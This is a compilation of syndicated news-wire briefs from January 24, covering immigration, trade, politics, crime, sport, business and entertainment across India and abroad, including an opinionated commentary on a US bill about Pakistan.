From 2016 to 2021, the number of Canadians speaking French at home increased in Quebec, British Columbia and Yukon, but decreased in the other provinces and territories.

Canada says that French-speaking immigrants help strengthen the economy of the communities in which they have settled, and help address the larger problem of labour shortage across the country.

The North American nation wants to welcome up to 500,000 new permanent residents a year by 2025.Since the launch of IRCC's first francophone immigration action plan in 2019, the percentage of French-speaking candidates approved through the Provincial Nominee Program grew to 6.4 per cent in 2021 from less than one per cent in 2018.

Recently, 150 Francophone candidates in the federal Express Entry system were invited to apply to Nova Scotia's Labour Market Priorities stream of the Provincial Nominee Program (NSNP).

All these candidates either spoke French as their first official language or had Canadian Language Benchmark (CLB) scores of 10 in all language abilities.

To achieve its ambitious Francophone immigration objectives in the years to come, Canada has allocated nearly $40.7 million over five years for Francophone immigration initiatives.
Chennai, Jan 24 : The textile industry of Tamil Nadu has sought export incentives and additional credit support in the budget for 2023-24 of the Union government to be presented in Parliament on February 1.

The Tiruppur textile industry which is the pioneer for exporting of textiles from Tamil Nadu and for that matter from South India has sought for credit support to the micro, medium and small scale units (MSME). The industry has sought credit support under the Emergency Credit Line Guarantee Scheme (ECLGS).

The exporters said that the economic slowdown and the uncertainty in the European market following the Ukraine war have led to a predicament for the industry which has been controlling the European market in the knitwear section.

K.M. Subramanian, President of Tiruppur Exporter's Association (TEA) in a statement said, "A 5 per cent interest subsidy on export credit is required for MSME and non-MSME manufacturers. It is to be noted that the buyers are delaying payment globally citing several issues." The Textile exporters also said that Summer Good orders, a major order from European countries have fallen drastically for Tiruppur textile industry. Exporters and knitting company owners said that there is a decline of 30-40 per cent of the orders from the European market itself and this has affected the survival of the industry.

The exporters also demand that the quantum of rebate under RoSCTL (Scheme for Rebate of State and Central Taxes and Levies on Export of Garments and Made- ups) which is provided as duty credit scrips, must be increased.

The Tiruppur knitwear industry also want a removal of import duty on raw cotton and imposition of anti- Dumping duty on imports of Viscose Staple Yarn(VSY).

The Kancheepuram Silk Sari prices have also gone up due to the increase in import duty of silver and gold used in zari or jarigai. This has also led to the reduction in sales of Kancheepuram Sari's which are a brand in itself.

It is to be noted that Tamil Nadu accounts for 19 per cent of the textile output of the country and also 40 per cent of the spinning mills in the country. Its first in apparel production in the country and second in textile production.

Latest updates on Russia-Ukraine War
Kuwait City, Jan 24 : The Kuwaiti cabinet has resigned after disputes with opposition-led Parliament.

Prime Minister Sheikh Ahmed Nawaf al-Ahmed Al-Sabah submitted the cabinet's resignation to Crown Prince Sheikh Meshal al-Ahmad al-Jaber Al-Sabah, Xinhua news agency quoted state media as saying.

Monday's resignation was sparked by a deadlock between the executive and the legislative authority, state media cited the cabinet's statement, without elaborating.

Parliament had been scheduled to convene on Tuesday.

The outgoing cabinet, which was sworn in in October, was the sixth in three years in Kuwait.

In September, Kuwait held its sixth election in a decade, forming an opposition-led Parliament.
Tunis, Jan 24 : Tunisia will hold the second round of legislative polls on January 29, the Independent High Authority for Elections (ISIE) said.

Polling stations across the country will be opened to voters at 8 a.m. and close at 6 p.m., Xinhua news agency quoted a statement released by the ISIE as saying.

The poll body said it hopes more Tunisians will go to the polling stations as the first roundup of legislative elections, which took place on December 17, 2022, saw a low participation rate of 11.22 per cent and elected only 23 candidates.

The second round will try to confirm 131 seats in the 161-member Parliament while no one will run for the seven seats reserved for overseas constituencies, it added.

In December 2021, President Kais Saied announced a constitutional referendum would be held in July last year, followed by parliamentary elections at the end of 2022.

Saied announced on March 30, 2022 the dissolution of the Assembly of People's Representatives, or the Tunisian Parliament.
Bengaluru, Jan 24 : HARMAN, a subsidiary of Samsung Electronics, on Tuesday said it has taken strict legal action against dealers involved in the manufacture and sale of fake JBL and Infinity Car Audio products in the country.

The raids by the company in three markets in Bengaluru led to the discovery of four car after-market dealers peddling counterfeit JBL and Infinity products.

HARMAN's investigation team, along with the law enforcement officers, seized over 500 counterfeits as well as infringed JBL and Infinity car audio products.

The team discovered products in two places that were misusing the JBL mark as JBZ and IGL and selling counterfeit goods in packaging that was deceptively similar to that of JBL and Infinity.

The company said it seized those infringed goods and the offenders have been subjected to appropriate legal procedure.

HARMAN is the parent company for audio brands including JBL, AKG, Harman Kardon, Infinity, Lexicon, Mark Levinson and Revel, among others.

"We take stern action against any offenders trying to mislead our customers and advise them to purchase HARMAN products from authorised dealers only, while being wary of counterfeit products in the market,a said Vikram Kher, Vice President, Lifestyle, HARMAN India.

"HARMAN plans to carry out additional investigations to prevent the production and distribution of counterfeit goods in India," Kher added.

Last year, the company conducted a similar raid along with the law enforcement officers, and seized stocks of spurious JBL and Infinity consumer products, from car accessories shops, and manufacturing units located across Delhi.
Hyderabad, Jan 24 : A student from Andhra Pradesh was killed and another from Telangana was injured when robbers opened fire on them in the United States.

The incident occurred on Sunday at Princeton Park in Chicago, according to information reaching the families of the students.

Nandapu Devansh (23) from Vijayawada in Andhra Pradesh was killed while Koppala Sai Charan from Hyderabad was injured. Another student Laxman from Visakhapatnam escaped unhurt.

The three students from Telangana and Andhra Pradesh had gone to the US only 10 days ago following their admission to Chicago's Governors State University.

They had taken an accommodation on rent in Chicago and were staying together. On Sunday evening, the trio went out to buy a router for Internet connection. While they were on their way to a shopping mall, two armed robbers waylaid them. The burglars ordered the students to hand over their mobile phones. They even shared the PIN to unlock the phones.

The burglars also looted money from the students. While leaving the scene, the armed men opened fire. Devasnh and Sai Charan sustained bullet wounds while Laxman narrowly escaped.

The victims alerted police, who rushed there and shifted the injured to hospital. Devansh succumbed while undergoing treatment.

Sai Charan was admitted to the University Medical Centre. He was said to be out of danger.

A resident of BHEL in Hyderabad, Charan had landed in Chicago on January 13 for doing MS.

His friends in the US informed his parents K. Srinivas and K.V.M. Laxmi about the incident. The student's parents were shocked. They appealed to the state government to intervene to ensure Charan was given proper medical care.
New York, Jan 24 : India-born Raj Subramaniam, President & CEO of FedEx Corporation, has received the 2023 Horatio Alger Award -- given to "esteemed individuals" who overcome adversity to achieve professional and personal success.

Subramaniam, 54, joins 13 exceptional business, civic and cultural leaders from across North America who have been awarded for "remaining committed to education and charitable efforts in their communities despite facing adversities".

"I strongly believe that through hard work and perseverance, one can overcome adversity to achieve success," he said in a statement.

"I'm honored to join an incomparable list of Members and look forward to meeting the Scholars and supporting them through their college years and beyond." Thiruvananthapuram-born Subramaniam is a product of IIT Bombay, and has more than 30 years of global experience across strategy and operations at the FedEx, a $94 billion transportation company.

He was recently awarded the Pravasi Bharatiya Samman award -- the highest civilian award in India for overseas Indians.

Under Subramaniam's leadership, FedEx donated three Boeing 777F charter flights of oxygen concentrators, PPE, and other critical supplies to help India combat Covid-19 in May and June 2021.

"Mr Subramaniam embodies the power of the American Dream," said Terrence J. Giroux, executive director, Horatio Alger Association.

"His commitment to education and building a better life for himself is admirable, and he will undoubtedly serve as an inspiration for our Scholars." Subramaniam immigrated to America in 1987 to attend Syracuse University, where he earned a master's degree in chemical engineering.

In 1991, he graduated from The University of Texas at Austin with a master's in business administration and joined FedEx as an associate analyst later that year.

Since 1984, the Horatio Alger Association has awarded annual need based scholarships to high school students who have displayed dedication to pursuing higher education despite significant obstacles throughout their lives.

As a Horatio Alger awardee and member, Subramaniam will support promising young people with the resources and confidence needed to overcome adversity in pursuit of their dreams through higher education.

He will be formally inducted into the Association during the Horatio Alger Award Induction Ceremonies in Washington from March 30 through April 1.

In 2022, the non-profit educational body awarded more than $16 million in undergraduate and graduate need-based scholarships to over 1,600 students across the US and Canada.
Lagos, Jan 24 : Nigeria's emergency management authorities have confirmed that 662 people were killed and more than 2.4 million others were displaced by floods in different parts of the country in 2022.

While revealing the figures, Mustapha Habib Ahmed, director general of the National Emergency Management Agency (NEMA), noted that 3,174 people suffered injuries, while thousands of houses and hectares of farmland were destroyed, reports Xinhua news agency.

Ahmed described the devastating 2022 flood disasters as being "unprecedented in the history of Nigeria".

"Records indicate that 662 persons have lost their lives, 3,174 others have suffered injuries and 2,430,445 individuals have been displaced by the floods," he said, adding that the NEMA, in collaboration with state governments and other partners, is currently working toward the long-term recovery of impacted communities across the country.

Musa Zakari, the director in charge of human resource management at the NEMA, said rapid changes in climate have resulted in an increase in the frequency of natural disasters across the country.

Zakari said the training course is to equip NEMA officials with better knowledge of disaster management.
San Francisco, Jan 24 : US-based crypto exchange Gemini said that it will lay off 10 per cent of its workforce, citing "bad actors" in the crypto industry, the media reported.

It's at least the third round of cuts at Gemini in the past eight months.

In a message on Slack on Monday, Gemini President Cameron Winklevoss informed staff of the latest layoffs, reports The Information.

"It was our hope to avoid further reductions after this summer, however, persistent negative macroeconomic conditions and unprecedented fraud perpetuated by bad actors in our industry have left us with no other choice but to revise our outlook and further reduce headcount," Winklevoss was quoted as saying.

In July last year, Gemini laid off more employees in the second round of layoffs.

According to TechCrunch, the company laid off 7 per cent, or 68 employees, in the second round.

Moreover, the exchange is also facing a legal fight with the US Securities and Exchange Commission (SEC) over an alleged unregistered offering and sale of securities in connection with its partnership with the cryptocurrency broker Genesis.

Last week, Genesis filed for Chapter 11 bankruptcy following the meltdown of the FTX exchange.

According to bankruptcy documents, the company listed over 1,00,000 creditors in a "mega" bankruptcy filing, with aggregate liabilities ranging from $1.2 billion to $11 billion, reports CNBC.
Melbourne, Jan 24 : Reigning Wimbledon champion Elena Rybakina kept her hopes for a second Grand Slam title alive by cruising into the Australian Open semifinals for the first time after triumphing in a battle of former major champions on Tuesday.

The 22nd seed overpowered the 2017 Roland Garros champion Jelena Ostapenko of Latvia 6-2, 6-4 in the one hour and 19 minutes encounter here at Rod Laver Arena, becoming the first woman representing Kazakhstan to reach the final four at Melbourne Park.

Ostapenko had dominated her head-to-head with the Kazakh player in the past. But on Tuesday, it was Rybakina who maintained her momentum from her upset of World No.1 Iga Swiatek two days ago.

Rybakina secured a break in the opening game and dropped just one point in her first two service games. Her return game was deadly against Ostapenko, and with a cool demeanour, she punished the Latvian's laggardly second serves.

Returning from a brief rain delay, the Kazakh clinched a double break advantage as she overpowered her opponent. Rybakina closed out the opening set when an Ostapenko forehand return sailed long.

The Latvian began to find her targets in the second set after breaking her opponent for a 2-0 lead. But an unfazed Rybakina quickly turned the tables against her rival, nabbing the next four games and saving four break points in the process.

Ostapenko produced flashes of brilliance, but it was her younger foe who has better-harnessed power and precision with a semifinals berth in sight. Stepping up to the baseline, Rybakina slammed down an ace to take victory on her third match point.

"The conditions were different, but we expect that it can happen in Australia - you never know in the morning it's one weather, then in a few hours it changes," Rybakina said.

"You have to be ready always. That's the beauty of the sport, everybody needs to adapt and I think I did really well from the beginning of the match then continued through the first set." Rybakina will have to stare down another big name in the semifinals. Her semifinal opponent will be decided in a titanic showdown between the third seed Jessica Pegula, the highest-ranked player remaining in the draw, and the two-time Australian Open champion Victoria Azarenka.
Agartala, Jan 24 : Three special observers of the Election Commission (EC) on Tuesday asked officials in Tripura to take foolproof steps to hold the February 16 Assembly polls in a free, fair and transparent manner.

The observers, who arrived in Agartala on Monday, held meetings on Tuesday with senior civil and police officials.

On Tuesday afternoon, they will hold meeting via video conferencing with District Magistrates and Superintendents of Police of the state's eight districts.

Some political parties, including the main opposition CPI-M led Left Front, are trying to meet the observers to apprise them about the latest pre-poll scenario.

The observers are Yogendra Tripathy, retired IAS officer of Karnataka cadre; Vivek Johri, former Director General of Police of Madhya Pradesh; and B. Murali Kumar, IRS officer, who was special observer in the Assembly elections of Gujarat (2022) and West Bengal (2021).

After Tripura, the observers will proceed to another poll-bound state Meghalaya, where elections will be held on February 27.

Besides the special observers, the EC has also appointed five other categories of observers -- general, police, expenditure, micro and counting.

The poll panel has so far deployed around 200 companies of Central Armed Police Force (CAPF) in Tripura and more CAPF comprising Assam Rifles, Border Security Force, Central Reserve Police Force, Central Industrial Security Force companies are expected to arrive in the state.

"The flag marches by the CAPF have already started since the second week of this month to ensure confidence building among the political workers for campaigning and among the citizens to cast their votes freely without any fear. The security forces are deployed well before the poll process so that they get familiar with the locality. Local police should extend necessary cooperation to the CAPF," an EC official said.

The poll body on January 19 ordered an inquiry into attacks on a Congress bike rally in Majlishpur Assembly constituency in West Tripura district and next day asked the state government to suspend a Sub-Divisional Police Officer and remove two Officer-in-Charge of two police stations.
Patna, Jan 24 : Narkatiaganj MLA Rashmi Verma has been booked on alleged theft charges in Bihar's West Champaran district, an official said here on Tuesday.

The MLA has been accused of barging into a college premises and walking away with important documents, along with her supporters. The principal of the college Abhay Kant Tiwari has registered an FIR in Shikarpur police station against 25 persons, including Verma.

In a statement to police, Tiwari claimed that he went to Patna to meet an advocate for a case on January 17 and the charge was give another faculty Vivek Pathak.

"I was informed that a group of people headed by Narkatiaganj MLA Rashmi Verma entered the college premises. As they were in large numbers, Vivek Pathak escaped from the college to save his life. Verma's supporters entered every room, broke open the cupboards and took away valuable documents," Tiwari said in the FIR.

When contacted, Rashmi Verma dismissed the allegations as "completely baseless" and said she was present in the college along with principal Abhay Kant Tiwari.

"As I am doing a number of development projects in the constituencies, they are making baseless allegations against me," she retorted.
Thiruvananthapuram, Jan 24 : A battle is in the offing over the screening of the controversial BBC documentary on Prime Minister Narendra Modi, with the feeder organisations of the ruling CPI(M) and the opposition Congress stating that they will screen it across the state, while the state unit of the BJP said it should not be shown.

State BJP president K. Surendran has now written to Chief Minister Pinarayi Vijayan that under no circumstance should the documentary be shown as it is an insult to democracy and also the judiciary.

"This should not be screened as it questions the values of our country and it has been done on purpose to subvert the ideology, and hence permission should not be granted. If it is done, then it means we are going against our own country and its values. So we request your intervention to see that this does not happen," said Surendran.

But the youth and student wings of the CPI(M)- DYFI and SFI have other plans and have announced that they will start screening it all across the state.

Likewise the minority wing of the state Congress party led by its chairman K. Shihabudeen has announced that on Republic Day, across 14 districts of the state they will be exhibiting the documentary.
Islamabad, Jan 24 : India has invited Chief Justice of Pakistan Umar Atta Bandial and Foreign Minister Bilawal Bhutto Zardari to attend meetings of the Shanghai Cooperation Organisation (SCO) that also includes Russia and China, a media report said.

India currently holds the presidency of the SCO which comprises Russia, China, India, Pakistan, Iran and Central Asian States, The Express Tribune reported.

As president of the SCO, New Delhi is set to host a series of events, including a conference of the chief justices of member states, meeting of the foreign ministers and a summit in 2023.

The meeting of Chief Justices of the SCO is scheduled for March while the Foreign Ministers will meet in May.

Official sources confirmed to The Express Tribune on Monday that India shared the invitations with Pakistan for the Chief Justice and Foreign Minister.

It is, however, not clear whether the Chief Justice and the Foreign Minister will attend both the events or depute someone to represent Pakistan.

Pakistan hasn't yet responded to the Indian invite, according to sources.

Given the SCO is an important forum because of the presence of China and Russia, Pakistan is unlikely to stay out of the events, reports The Express Tribune.

Both Pakistan and India were accepted as full members of the influential organisation a few years back after they committed not to undermine the SCO work because of their bilateral disputes.

The meeting of the SCO Foreign Ministers is due to take place in Goa, Express Tribune reported.
Hyderabad, Jan 24 : A group of students at University of Hyderabad organised screening of BBC documentary on Prime Minister Narendra Modi and 2002 Gujarat riots, prompting the university authorities to begin a probe.

Visuals of some students watching the documentary in an open area on the campus went viral on social media after the same were posted by a group called Fraternity Movement.

The organisers had put up a projector to screen the first part of the documentary series.

The BBC series was screened three days ago allegedly without permission from university authorities. BBC documentary "India : The Modi Question" which was removed from youtube screened in HCU by Fraternity Movement- HCU unit," reads a tweet from the Twitter handle of Fraternity Movement on January 21.

Akhil Bharatiya Vidyarthi Parishad (ABVP) lodged a complaint with the university authorities about the screening of the controversial documentary of the British broadcaster. The university officials initiated a probe and were waiting for a report from the security department.

Police said they have received information about screening of the documentary on the university campus but no written complaint was filed.

The screening was reportedly organised at Resistance Area on the campus where massive protests were held in 2016 after a Dalit student Rohith Vemula had committed suicide due to alleged harassment by university authorities Last week, the Centre condemned the BBC documentary series describing it as propaganda to push a discredited narrative.
Washington, Jan 24 : US lawmaker Andy Biggs has introduced a bill in the House of Representatives that seeks to terminate Pakistan's designation as a major non-NATO ally, and require annual certification from the President with certain conditions for Islamabad to be given such a designation.

Biggs represents the fifth Congressional district of Arizona.

For any further continuation of Pakistan's designation as a major non-NATO ally, the bill asks the President to issue a certification that the country has shown progress in arresting and prosecuting Haqqani Network senior leaders and mid-level operatives and has taken steps to demonstrate its commitment to prevent the terror group from using any Pakistani territory as a safe haven.

The Congressman introduced the bill HR 80 which now needs to be passed by the House of Representatives and the Senate before it can be signed into law by President Joe Biden, and has been sent to the House Foreign Affairs Committee for necessary actions.

Normally, such bills do not fructify, but the present legislation reflects the sentiments of the lawmakers against Pakistan, which is known for harbouring terrorism and using it as a matter of State policy.

Although the bill is doubtful to sail through in Congress, it is sending across a clear message that despite Pakistani claim and propaganda it still supports the jihadi outfits and therefore, it could not be trusted without a reality check.

The one reason that the bill would not sail through is that the Western powers and especially NATO partners have always been interested to have a firm foothold in Pakistan for gaining strategic leverages in geopolitical games against a global power like Russia and a regional power like China.

The good and bad Taliban distinction based on strategic leverages, nevertheless, is doing a lot of disservice to global peace and amity.

At a time when Pakistan has become immensely vulnerable due to weaknesses in its polity and economy and trying to leverage its location for short term perceptional, financial and strategic gains, letting itself to be a theatre of global competition for hegemony comes at the price of sovereignty and self reliance.

Sitting on an elephant's shoulder does not make one an elephant.

Realities are eloquent than propaganda and lies. Pakistan's support for jihadi organisation time and again peeps into the eyes of Western "democratisers" and "peace makers", and that is happening frequently.

Many countries in the world who are not into the race for hegemony like India staunchly believe that democracy, sovereignty, peace and prosperity of Pakistan is important for regional and global security and peace.

But the same could not be said about Pakistan or even the Western competitors for hegemony.

The South Asia Terrorism Portal has listed 45 terrorist organisations operational in Pakistan including the Haqqani Network, Jama'at-ul-Dawa al-Quran (JDQ), Hizb-ul-Mujahideen (HM), Harkat-ul-Ansar (HuA, presently known as Harkat-ul Mujahideen), Al Badr, Tehreek-e-Taliban Pakistan (TTP), Jamait-ul- Mujahideen (JuM), Jammu & Kashmir National Liberation Army, Kashmir Jehad Force, Jammu & Kashmir Students Liberation Front, Lashkar-e-Jabbar (LeJ), and Muslim Mujahideen.

Likewise, it has also listed many terrorist organisations of Pakistan as proscribed that include Lashkar-e-Taiba (LeT), Jaish-e-Mohammad Mujahideen E-Tanzeem, Islamic State (IS), Al Qaeda, Islam Mujahidin, Jaish-e-Muhammad (JeM) and various chapters of the Taliban.

The notable thing about these proscribed organisations which are more than 50 number often reappear with new names to jump legal ban and the Pakistani establishment deliberately avoids inspections against them.

Other notable aspect of these proscribed terror organisations is that on the face of it they have a nomenclature and as registration as trusts or welfare organisations, but the actual task is to aid and commit terrorist acts in the name of Islamic Jihad. They also act as platforms for indoctrination and poisoning of the minds of youth.

Apart from the active and proscribed terrorist organisations in Pakistan more than 30 inactive terror organisations have been listed by the portal which on and off become active. The exercise of proscribing the terror organisations in Pakistan is done only to reap benefits from the West such as the Generalised System of Preferences Plus (GSP Plus), de-listing from the Financial Action Task Force's (FATF) grey list and receiving foreign aid and assistance.

But since the intent of the establishment to use terror as part of their state and foreign policy, these outfits even after proscribing, roam around freely and carry their activities without any restriction or fear.

The West in its competition for hegemony with the rival powers, offers several benefits to Pakistan in the name of fighting against terrorism and security, but it appears just to be a pretext to keep a space and foothold in the region for geopolitical leverage in this strategically country.

A tweet of former President Donald Trump is an evidence to the futility of financial support to Islamabad for fight against terrorism.

He had tweeted in 2018: "The United States has foolishly given Pakistan more than 33 billion dollars in aid over the last 15 years, and they have given us nothing but lies & deceit; they give safe haven to the terrorists we hunt in Afghanistan, with little help. No more!" A UN report in 2020 had stated that Pakistan-based terror groups JeM and LeT are engaged in trafficking fighters into Afghanistan and India few month after former Prime Minister Imran Khan's confession that Pakistan had several hardline terror organisations that hamper peace and development.

Pakistan has taken advantage from the global powers for the sake of its strategic location.

As Pakistan showed increased proximity with Russia when the Western funding dried up during the Trump years, the new US regime and other NATO partners are taking a much softer approach in their engagement with Pakistan to rebalance their strategic presence in the country.

Whatever be at stake in the competition for hegemony, ideally the global powers must muster the courage and honesty to call spade a spade.

For curbing terrorism for global peace is as important for global development and peace as climatic change and sustainable development. India has echoed this on international forums umpteen times.

The latest bill in the House of Representatives is a reminder to the US about its role in curbing terrorism in the world whether it sails through or not.
New Delhi, Jan 24 : In recent years, structural reforms initiated by the Government have laid the foundation for long term economic growth. The Union Budget 2023 will determine the roadmap for our country in the rapidly changing global scenario.

India's favourable demographics comprising a growing share of the working population and rising aspirations of the middle-class has brought it on the cusp of transformation. With the budget 2023-24 fast approaching, key industries have come out with their wishlist from the government to help streamline businesses and accelerate growth to be able to contribute to the economy.

Indian Direct Selling Industry is one industry that has shown a consistent growth, reaching over USD 2 billion last year. It has grown at a CAGR of 15.7 per cent over the past four years despite the effects of the pandemic. The industry has expectations from the Union Budget 2023 in the form of breakthrough reforms, policy intervention, and focus on youth and entrepreneurship, which will enable it to rank among Global Top 5 markets in coming years.

According to Gautam Bali, Managing Director, Vestige Marketing Pvt. Ltd, "The Direct Selling industry appreciates the initiatives undertaken by our government in prioritizing infrastructure development, which will facilitate growth of Trade and Commerce in our country. We expect this budget to infuse structural reforms that will give entrepreneurial leverage to the nation's youth.

"The added focus on agricultural reforms can also help influence the massive potential in rural India that can be the engine of our immediate economic growth. Alongside, a social security scheme offered to gig workers would be a welcomed move since their contributions are crucial in giving our economy a boost. We believe this will help the Indian direct selling Industry become among the top 5 markets in the coming years. We are optimistic that the Union Budget 2023 will provide a roadmap for turning our nation into a 10 trillion-dollar economy by 2032." India aims to be a $30 trillion inclusive and sustainable economy by India@100, which will help create resources for the government to fund development programmes and social security.

According to NITI Aayog, India needs to funnel approximately 13 per cent of its GDP into social causes-the current average is about 7 per cent to achieve its United Nations (UN) Sustainable Development Goals (SDG) commitments by 2030. Philanthropy can play a large role in accelerating economic growth that is both inclusive and sustainable.

"Philanthropy can help unlock India's economic potential and serve a strategic purpose in accelerating socio-economic transformation over the next decade. Corporate social responsibility, private philanthropy (UHNIs and HNIs), and retail giving cumulatively contribute about 84 per cent of the total private philanthropic capital in India. While CSR is driven by a regulatory mandate and retail donations enjoy a limited tax exemption (Section 80G), a lot more needs to be done to boost private philanthropy. We hope that the upcoming Union Budget facilitates 'ease of giving' through suitable tax policy changes," says, Radhika Jain, Director and Philanthropy Advisor, Accelerate Indian Philanthropy.

The hospitality industry, as it treads on the path of recovery post the pandemic, is aiming at a good start and bookings and anticipating a positive Budget for 2023-2024 to fast-track the growth momentum of the industry. "These are recognising tourism's export status, granting infrastructure status, having a robust forex earnings incentives scheme, creating a domestic travel tax credit policy, putting tourism in concurrent list, setting up a natural & cultural heritage restoration fund, developing a national seamless tourist transportation policy, enhancing the corpus for global tourism branding, creating an underwriting fund for travel agents & tour operators & abolishing TCS," says Aashish Gupta, Consulting CEO - FAITH.

According to a recent survey conducted by Deloitte, at least 60 per cent of India Inc is confident that Budget 2023-24 will help fuel economic growth across sectors and industries, amidst a potential global economic slowdown and geopolitical instability. As the industry waits for the budget with bated breath, this positive sentiment will continue to help the country in deflecting the waves of uncertainty in near future.
Mumbai, Jan 24 : Teaser of the upcoming Ajay Devgn directorial 'Bholaa' was unveiled on Tuesday at a multiplex in the Juhu area of Mumbai.

The teaser is laced with gravity defying action and tells the story of a man against several odds as he single-handedly takes on the negative forces.

The teaser, which is under 2 minutes in length, starts off with a dutch tilt shot of Ajay's titular character bathed in the contrasting colour temperatures of warm and cool. This is followed by shots from the spiritual city of Varanasi before it brings full-blown action and actress Tabu once again serving as a cop.

This is her 3rd role as a cop after 'Drishyam 2' which again starred Ajay in the lead, followed by the recently released commercial dud 'Kuttey'.

'Bholaa' is Ajay's 4th directorial after his summer 2022 release 'Runway 34'. Ajay had a grear theatrical run with his last release 'Drishyam 2' which bailed the Bollywood out of troubled water and provided the much needed respite to the industry which is currently struggling with disinterest of the audience and the Boycott trend.

The film is set to release in cinemas on March 30.

-- Except for the title, this story has not been edited by Prokerala team and is auto-generated from a syndicated feed
Shivamogga : , Jan 24 (IANS) Thousands of workers of public enterprise Visvesvaraya Iron and Steel plant, (VISL) run by the Steel Authority of India Limited (SAIL) have opposed the move to privatize it.

While staging a protest on the premises of VISL on Tuesday, the workers accused SAIL of adopting a step-motherly approach towards the company. Without making any investment, VISL has been claiming that the factory is continuously under losses. On the other hand, SAIL is making huge investments in other factories, they said.

The VISL was started by the Mysuru Maharajas in 1917. In 1923, the production started. The factory was one among the major iron and steel producers in the country.

However, the trouble began when environmentalists started their agitation in the Kemmangundi forest area, where mining was done. The mining was stopped following the agitation and the factory started incurring losses.

In 1989, the state government, unable to bear the burden, handed over the VISL to the SAIL just for Re 1. The state government had insisted SAIL to make investments and put the finances on the right track and handed over the complete charge of VISL to SAIL by 1998.

The factory which had thousands of workers, now has 250 permanent employees and 1,500 contract workers. VISL Contract Workers Association Suresh explained that former CM B.S. Yediyurappa, who hails from Shivamogga district and his son BJP MP B.Y. Raghavendra had given tall assurances about bringing investments to the factory and are now tight lipped.

He further said that the 1,500 contract workers had worked in the factory for 20 to 30 years and presently they are aged between 45 and 50 years. They will have nowhere to go, he added. VISL factory is one of the best in the country. Instead of locking or privatizing it, all MPs from Karnataka, especially from BJP have to meet Prime Minister Narendra Modi and convince him to save VISL, he added.
Chennai, Jan 24 : With the West facing economic recession, job losses happening and while the Indian economy is predicted to grow, "Back to Bharat" is gaining ground in the executive placement segment, said a top official of the human resource (HR) groups Ma Foi and the CIEL.

He also said the CIEL is looking at five acquisitions in the HR space of which one of them is a listed company.

"The CIEL HR Services is planning to raise Rs 200 crore - Rs 24 crore from private placement and Rs 176 crore from private equity funds. The funds will be used for acquisitions," K. Pandiarajan, Executive Chairperson and Director - Ma Foi Group & CIEL Group told media here.

To a specific query he said one of the target companies is a listed entity with which discussions are on.

The CIEL HR had acquired 76.33 per cent stake in Next Leap Career Solutions Private Limited (Brand name: Jombay).

Pandiarajan also said CIEL HR plans to come out with a Rs 650 crore initial public offer (IPO) by the end of 2023.

According to Pandiarajan, the 'Back to Bharat' trend is gaining ground in the executive placement segment.

"People with research and development (R&D) background in the electric vehicle (EV) segment and those in hitech sectors are in good demand here," he said.

According to Pandiarajan, CIEL HR will be creating an digital platform to onboard the unorganised players in the HR segment accounting for about 80 per cent of the Rs 1.45 lakh crore market.

The 'uberisation' of the HR outfits will give the customer companies the comfort of legal compliance by the CIEL HR partners.
Beirut, Jan 24 : The judge investigating the 2020 Port of Beirut blast has resumed work after a 13-month suspension under political pressure.

Upon returning to the office on Monday, Judge Tarek Bitar ordered the release of five detained suspects and announced his plan to press charges against others, reports Xinhua news agency.

The investigation was suspended in December, 2021 after a series of complaints were filed against Bitar, forcing him to halt his probe.

On August 4, 2020, a large amount of ammonium nitrate stored at the port exploded, causing at least 218 deaths, 7,000 injuries, and $15 billion in property damage, as well as leaving an estimated 300,000 people homeless.

A cargo of 2,750 tonnes of the substance (equivalent to around 1.1 kilotons of TNT) had been stored in a warehouse without proper safety measures for the previous six years after having been confiscated by the Lebanese authorities from the abandoned ship MV Rhosus.

The explosion was preceded by a fire in the same warehouse.

The blast was so powerful that it physically shook the whole country of Lebanon.

It was felt in Turkey, Syria, Palestine, Jordan, and Israel, as well as parts of Europe, and was heard in Cyprus, more than 240 km away.

It was detected by the US Geological Survey as a seismic event of magnitude 3.3 and is considered one of the most powerful accidental artificial non-nuclear explosions in history.
Mumbai, Jan 24 : 'Panchayat' actor Chandan Roy Sanyal, who will be seen portraying an IT expert in the web series 'Jaanbaaz Hindustan Ke', shared how he prepared for his role, challenges of playing an IT expert, and also recalled the most difficult scene to shoot.

He said: "After reading the screenplay, it helped me develop the character and understand what my role in the film is and how it should be. I didn't do anything particularly special, however, I did attend the workshop and had heard the narration, so I knew what my role was and what zone it had originated from." While recalling the most difficult scene to shoot from the series, the actor said: "The most challenging scene for me as an actor was when I had to run, grab my bag, say the dialogues, and go to the terrace at the same time. I thought that this shot was lengthy and couldn't be repeated, it should be finished in one or two shots, and it was shot at night. It was therefore the most difficult scene I had to perform at that time, but I accomplished it smoothly." Chandan, who acted in 'Sanak', 'State Of Siege: Temple Attack', 'Jamun', and many more, added further that as he is playing an IT expert, there was a requirement to use a number of technical words and the most challenging part was to make them understandable for everyone.

"My director urged me to use phrases that would be appealing to or let the ordinary people comprehend English properly when you portray the role on screen since I had a lot of IT jargons to use that the public wouldn't have understood. So as an actor, I had to be careful to use straightforward language so that the audience could follow along," he added.

'Jaanbaaz Hindustan Ke' also features Barun Sobti and Regina Cassandra and when asked to Chandan how it was to work with them in the series, he replied: "My co-actors were quite skilled at what they do and I enjoyed working with them. I appreciate the effort they put into their job, and it motivated me since I put a lot of effort into my on-screen character.

"Acting puts you on the receiving end constantly, therefore you must always accept others and conduct yourself properly. Working with everyone was wonderful." 'Jaanbaaz Hindustan Ke' which focuses on the life of a woman IPS officer will be streaming on ZEE5.
New Delhi, Jan 24 : Indian software-as-a-Service (SaaS) companies are poised to command 8 per cent of the global SaaS market, generating $35 billion in annual recurring revenue (ARR) by 2027, a report showed on Tuesday.

It will be a growth of 20-25 per cent per annum for the homegrown SaaS firms, according to Bain & Company's report.

Investment in India SaaS went up by 20 per cent last year compared to 2021, and reached an all-time high of $5.1 billion, according to the report.

This was driven by increased interest in earlier-stage deals -- with significantly more seed deals that have doubled in size over the past 3 years and a doubling of Series A investments compared to 2021.

"This ecosystem is being driven by a flywheel comprised of SaaS companies who are successfully executing on their global ambitions and an investor base that believes in the potential of Indian SaaS," said Arpan Sheth, Partner at Bain & Company and lead of the Private Equity and Alternative Investor practice in India.

"We are now seeing the emergence of a set of Indian SaaS companies who have a right to win not just in India, but globally," added Sheth.

Indian SaaS companies' future trajectory remains promising as their total annual recurring revenue, of $12 billion-$13 billion in 2022 is up four times over the past five years.

Of the 1,600 Indian SaaS companies that have now been funded over the past five years, around 14 of them exceed $100 million in ARR (vs. around 1-2 five years ago) and are reaching this growth milestone as quickly as their US counterparts, the report mentioned.

Indian SaaS venture capital (VC) investments were up by 10 per cent in the first three quarters of 2022 compared to 2021.

